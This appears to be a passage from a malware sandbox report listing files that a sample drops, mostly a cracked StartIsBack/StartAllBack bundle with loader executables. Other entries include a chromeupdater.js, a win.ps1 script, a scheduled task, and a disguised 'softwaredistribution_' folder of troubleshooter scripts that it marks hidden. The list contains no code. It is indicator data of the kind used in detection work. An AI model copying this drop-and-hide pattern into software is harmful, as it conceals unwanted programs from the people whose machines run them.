C:\kinghaze\w10_2\orbs\orb (26).bmp
C:\kinghaze\w10_2\orbs\orb (27).bmp
C:\kinghaze\w10_2\orbs\orb (28).bmp
C:\kinghaze\w10_2\orbs\orb (29).bmp
C:\kinghaze\w10_2\orbs\orb (30).bmp
C:\kinghaze\w10_2\orbs\orb (31).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_deleteprintjobs.ps1
C:\kinghaze\w10_2\orbs\orb (32).bmp
C:\kinghaze\w10_2\orbs\orb (33).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_noprinterinstalled.ps1
C:\kinghaze\w10_2\orbs\orb (34).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerdriver.ps1
C:\kinghaze\w10_2\orbs\orb (35).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerturnedoff.ps1
C:\kinghaze\w10_2\orbs\orb (36).bmp
C:\kinghaze\w10_2\orbs\orb (37).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_processprinterjobs.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_restartspoolerservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_setspoolerstartmode.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_spoolercrashing.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_startspoolerservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_wrongdefaultprinter.ps1
C:\kinghaze\w10_2\orbs\orb (38).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\cl_localizationdata.psd1
C:\kinghaze\w10_2\orbs\orb (39).bmp
C:\kinghaze\w10_2\orbs\orb (40).bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\diagpackage.dll.mui
C:\kinghaze\w81\orbs\shamrock_106.bmp
C:\kinghaze\w81\orbs\shamrock_54.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_cannotconnect.ps1
C:\kinghaze\w81\orbs\shamrock_66.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_defaultprinter.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_noprinterinstalled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outofpaper.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outoftoner.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_paperjam.ps1
C:\kinghaze\w81\orbs\shamrock_81.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdriver.ps1
C:\kinghaze\w10_1\orbs\start3.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdrivererror.ps1
C:\kinghaze\w8\orbs\start3.bmp
C:\kinghaze\w81\orbs\start3.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerturnedoff.ps1
C:\kinghaze\w10_2\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w10_1\orbs\startisback_ei8htorb_v2_by_painter.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printjobsstuck.ps1
C:\kinghaze\w8\orbs\startisback_ei8htorb_v2_by_painter.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_setspoolermode.ps1
C:\kinghaze\w81\orbs\startisback_ei8htorb_v2_by_painter.bmp
C:\kinghaze\w8\orbs\win7_106.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolercrashing.ps1
C:\kinghaze\w81\orbs\win7_106.bmp
C:\kinghaze\w8\orbs\win7_54.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolerservice.ps1
C:\kinghaze\w81\orbs\win7_54.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\printer\vf_printerturnedoff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\cl_localizationdata.psd1
C:\kinghaze\w8\orbs\win7_66.bmp
C:\kinghaze\w81\orbs\win7_66.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\diagpackage.dll.mui
C:\kinghaze\w8\orbs\win7_81.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_resetwindowssearchapp.ps1
C:\kinghaze\w81\orbs\win7_81.bmp
C:\kinghaze\w8\orbs\win8_106.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restoredefaults.ps1
C:\kinghaze\w8\orbs\win8_54.bmp
C:\kinghaze\w8\orbs\win8_66.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restorepermissions.ps1
C:\kinghaze\w8\orbs\win8_81.bmp
%ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_startindexingservice.ps1
C:\kinghaze\w11\ribbon\theme-dark\accessmedia.svg
C:\kinghaze\w11\ribbon\theme-light\accessmedia.svg
C:\kinghaze\w11\orbs\clover.svg
C:\kinghaze\w11\ribbon\theme-light\easyaccess.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\cl_localizationdata.psd1
C:\kinghaze\w11\ribbon\theme-dark\easyaccess.svg
C:\kinghaze\w11\orbs\w8logo.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\diagpackage.dll.mui
C:\kinghaze\w11\ribbon\theme-light\windows.addremoveprograms.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_checkpermissions.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.addremoveprograms.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.computer.manage.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_filterhostcrashing.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.computer.manage.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdowninrecovery.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.copytomenu.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.copytomenu.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdownnocorruption.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.edit.svg
C:\kinghaze\w11\ribbon\theme-light\windows.email.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservice.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.folderoptions.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservicecrashing.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.folderoptions.svg
C:\kinghaze\w11\ribbon\theme-light\windows.help.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_protocolhostcrashing.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.help.svg
C:\kinghaze\w11\ribbon\theme-light\windows.layout.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_searchapp.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.layout.svg
C:\kinghaze\w11\ribbon\theme-light\windows.movetomenu.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\mf_speechdiagnostic.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.movetomenu.svg
C:\kinghaze\w11\ribbon\theme-light\windows.multiverb.cmd.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.multiverb.cmd.svg
C:\kinghaze\w11\ribbon\theme-light\windows.multiverb.cmdpromptasadministrator.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\cl_localizationdata.psd1
C:\kinghaze\w11\ribbon\theme-dark\windows.multiverb.cmdpromptasadministrator.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\diagpackage.dll.mui
C:\kinghaze\w11\ribbon\theme-light\windows.open.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.open.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\rs_calibrationrequired.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.opencontrolpanel.svg
C:\kinghaze\w11\ribbon\theme-light\windows.opencontrolpanel.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.pastelink.svg
C:\kinghaze\w11\ribbon\theme-light\windows.pastelink.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\cl_localizationdata.psd1
C:\kinghaze\w11\ribbon\theme-light\windows.removeproperties.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\diagpackage.dll.mui
C:\kinghaze\w11\ribbon\theme-dark\windows.removeproperties.svg
C:\kinghaze\w11\ribbon\theme-light\windows.ribbonpermissionsdialog.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\speech\vf_calibrationrequired.ps1
C:\kinghaze\w11\ribbon\theme-dark\windows.ribbonpermissionsdialog.svg
C:\kinghaze\w11\ribbon\theme-light\windows.shareprivate.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\video\graphicsdriverregtool-definitions.psm1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\cl_localizationdata.psd1
C:\kinghaze\w11\ribbon\theme-dark\windows.shareprivate.svg
C:\kinghaze\w11\ribbon\theme-light\windows.slideshow.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\diagpackage.dll.mui
C:\kinghaze\w11\ribbon\theme-dark\windows.slideshow.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.systemproperties.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_aud_reg_settings.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.systemproperties.svg
C:\kinghaze\w11\ribbon\theme-dark\windows.troubleshoot.svg
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_displaytopology.ps1
C:\kinghaze\w11\ribbon\theme-light\windows.troubleshoot.svg
C:\kinghaze\w8\styles\aero 8.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_driverblocklist.ps1
C:\kinghaze\w81\styles\aero 8.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hevccodeccheck.ps1
C:\kinghaze\w10_2\styles\aero 8.msstyles
C:\kinghaze\w8\styles\aerobydesign.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hwdrmcheck.ps1
C:\kinghaze\w81\styles\aerobydesign.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_msvideo.ps1
C:\kinghaze\w10_2\styles\aerobydesign.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_unsigned.ps1
C:\kinghaze\w10_2\styles\aerosquared.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_aud_reg_settings.ps1
C:\kinghaze\w10_2\styles\g10sp.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_displaytopology.ps1
C:\kinghaze\w10_1\styles\plain10.msstyles
C:\kinghaze\w10_2\styles\plain10.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_genericfailure.ps1
C:\kinghaze\w8\styles\plain8.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hevccodeccheck.ps1
C:\kinghaze\w81\styles\plain8.msstyles
C:\kinghaze\w10_1\styles\plain8.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hwdrmcheck.ps1
C:\kinghaze\w10_2\styles\plain8.msstyles
C:\kinghaze\w11\styles\plain8.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_msvideo.ps1
C:\kinghaze\w81\styles\windows 7.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_unsigned.ps1
C:\kinghaze\w10_1\styles\windows 7.msstyles
C:\kinghaze\w10_2\styles\windows 7.msstyles
%ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\cl_localizationdata.psd1
C:\kinghaze\w11\styles\windows 7.msstyles
C:\kinghaze\w10_2\orbs\shamrock.orb
%ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\diagpackage.dll.mui
C:\kinghaze\w10_1\orbs\shamrock.orb
%ALLUSERSPROFILE%\softwaredistribution_\system\video\ts_main.ps1
C:\kinghaze\w10_2\orbs\windows 7.orb
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_aud_reg_settings.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_driverblocklist.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_msvideo.ps1
C:\kinghaze\w10_1\orbs\windows 7.orb
%ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_unsigned.ps1
C:\kinghaze\w11\orbs\windows 7.orb
%ALLUSERSPROFILE%\setup.exe
C:\kinghaze\w11\darkmagicloaderx64.exe
C:\kinghaze\w11\darkmagicloaderx86.exe
C:\kinghaze\kur.exe
C:\kinghaze\w11\startallbackcfg.exe
C:\kinghaze\w8\startisbackcfg.exe
C:\kinghaze\w81\startisbackcfg.exe
C:\kinghaze\w10_1\startisbackcfg.exe
C:\kinghaze\w10_2\startisbackcfg.exe
C:\kinghaze\w8\startscreen.exe
C:\kinghaze\w81\startscreen.exe
C:\kinghaze\w10_1\startscreen.exe
C:\kinghaze\w10_2\startscreen.exe
C:\kinghaze\w10_2\updatecheck.exe
C:\kinghaze\w11\updatecheck.exe
C:\kinghaze\w11\darkmagicx64.dll
C:\kinghaze\w11\darkmagicx86.dll
C:\kinghaze\w11\startallbackloaderx64.dll
C:\kinghaze\w11\startallbackx64.dll
C:\kinghaze\w8\startisback32.dll
C:\kinghaze\w81\startisback32.dll
C:\kinghaze\w10_1\startisback32.dll
C:\kinghaze\w10_2\startisback32.dll
C:\kinghaze\w8\startisback64.dll
C:\kinghaze\w81\startisback64.dll
C:\kinghaze\w10_1\startisback64.dll
C:\kinghaze\w10_2\startisback64.dll
C:\users\public\settings\a\news\win.ps1
%ProgramFiles(x86)%\startisback\startisback32.dll
%ProgramFiles(x86)%\startisback\startisbackcfg.exe
%ProgramFiles(x86)%\startisback\startscreen.exe
%ProgramFiles(x86)%\startisback\updatecheck.exe
%ProgramFiles(x86)%\startisback\startisback64.dll
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0100.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0100a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0100b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0100c.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0100ca.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0200a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0200b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0285.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0300a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0394.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0395.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0395a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0395d.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0397.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0400 (2).bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0400a (2).bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0400d.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0500.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0500a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0500b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0600.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0700.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0700a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0800.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0800a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_0900.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1000.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1095.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1095a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1095b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1095d.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1100.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1189.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1190.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1200.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1200a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1200b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1200c.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1300.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1400.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1400a.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1400b.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1400c.bmp
%ProgramFiles(x86)%\startisback\orbs\av_startisbackorbs_1500.bmp
%ProgramFiles(x86)%\startisback\orbs\orb (01).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (02).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (03).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (04).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (05).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (06).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (07).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (08).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (09).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (10).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (11).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (12).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (13).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (14).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (15).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (16).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (17).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (18).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (19).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (20).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (21).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (22).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (23).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (24).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (25).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (26).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (27).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (28).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (29).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (30).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (31).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (32).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (33).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (34).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (35).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (36).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (37).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (38).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (39).bmp
%ProgramFiles(x86)%\startisback\orbs\orb (40).bmp
%ProgramFiles(x86)%\startisback\orbs\shamrock.orb
%ProgramFiles(x86)%\startisback\orbs\startisback_ei8htorb_v2_by_painter.bmp
%ProgramFiles(x86)%\startisback\orbs\windows 7.orb
%ProgramFiles(x86)%\startisback\styles\aero 8.msstyles
%ProgramFiles(x86)%\startisback\styles\aerobydesign.msstyles
%ProgramFiles(x86)%\startisback\styles\aerosquared.msstyles
%ProgramFiles(x86)%\startisback\styles\g10sp.msstyles
%ProgramFiles(x86)%\startisback\styles\plain10.msstyles
%ProgramFiles(x86)%\startisback\styles\plain8.msstyles
%ProgramFiles(x86)%\startisback\styles\windows 7.msstyles
%TEMP%\sibtask.xml
%TEMP%\startscreen\startscreen.lnk
%TEMP%\startscreen\desktop.ini
%LOCALAPPDATA%\startisback\cache\appsfolder.dat.new
%ALLUSERSPROFILE%\chromeupdater.js

Присваивает атрибут 'скрытый' для следующих файлов

%ALLUSERSPROFILE%\softwaredistribution_\index\appsdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\audioplaybackdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\audiorecordingdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\bitsdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\bluetoothdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\cameragethelpdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\devicecenterdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\devicediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\iebrowsewebdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\iesecuritydiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\keyboarddiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\maintenancediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_1_web.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_2_fileshare.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_4_networkadapter.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_5_inbound.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_6_da.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\powerdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\printerdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\searchdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\speechdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\videoplaybackdiagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerconfiguration.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayermedialibrary.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerplaydvd.xml
%ALLUSERSPROFILE%\softwaredistribution_\index\windowsupdatediagnostic.xml
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_connectedaccount.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_tempinetfolder.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_temporaryprofile.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_connectedaccount.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_tempinetfolder.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_temporaryprofile.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\utils_apps.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_uac.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_wsreset.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_audiodiagnosticsnapin.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_invocation.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_loadassembly.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_rundiagnosticscript.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_utility.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_apoloadfailure.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioserviceresponse.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_changevolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_enableincpl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_notdefault.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_samplingrate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_unmute.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_apoloadfailure.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audiodevicedriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioservice.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioserviceresponse.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_disabledincpl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_lowvolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_mute.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_notdefault.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_samplingrate.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_unpluggedin.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_hdaudiodriver.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_lowvolume.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_registry.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_service.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsacl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsdll.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsregkeys.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsacl.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsdll.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsregkeys.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bits\ts_main.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\cl_localizationdata.psd1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\diagpackage.dll.mui
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_btradiooff.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_checkbt.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_disabled.ps1
%ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_driverproblem.ps1
